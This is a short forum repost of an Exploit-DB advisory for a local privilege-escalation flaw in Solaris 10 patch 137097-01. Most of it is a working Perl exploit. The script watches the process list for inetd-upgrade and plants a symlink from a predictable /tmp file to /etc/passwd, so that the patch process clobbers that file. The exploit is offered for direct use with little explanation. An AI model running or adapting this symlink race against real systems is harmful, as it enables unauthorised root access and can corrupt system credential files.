Solaris 10 Patch 137097-01 Symlink Attack Privilege Escalation

[DarkyAngel]

Solaris 10 Patch 137097-01 Symlink Attack Privilege Escalation

[table=width: 500, class: grid]

[tr]

[td]EDB-ID: 20418[/td]

[td]CVE: N/A[/td]

[td]OSVDB-ID: N/A[/td]

[/tr]

[tr]

[td]Author: Larry Cashdollar[/td]

[td]Published: 2012-08-11[/td]

[td]Verified: [/td]

[/tr]

[tr]

[td]Exploit Code: [/td]

[td]Vulnerable App: N/A[/td]

[td][/td]

[/tr]

[/table]

Source: http://www.securityfocus.com/bid/54919/info

Solaris 10 Patch 137097-01 is prone to a local privilege-escalation vulnerability.

Local attackers can exploit this issue to gain elevated privileges on affected computers.

#!/usr/bin/perl
$clobber = "/etc/passwd";
while(1) {
open ps,"ps -ef | grep -v grep |grep -v PID |";

while(<ps>) {
@args = split " ", $_;

if (/inetd-upgrade/) {
        print "Symlinking iconf_entries.$args[1] to  $clobber\n";
        symlink($clobber,"/tmp/iconf_entries.$args[1]");
        exit(1);
   }
 }

}

Sursa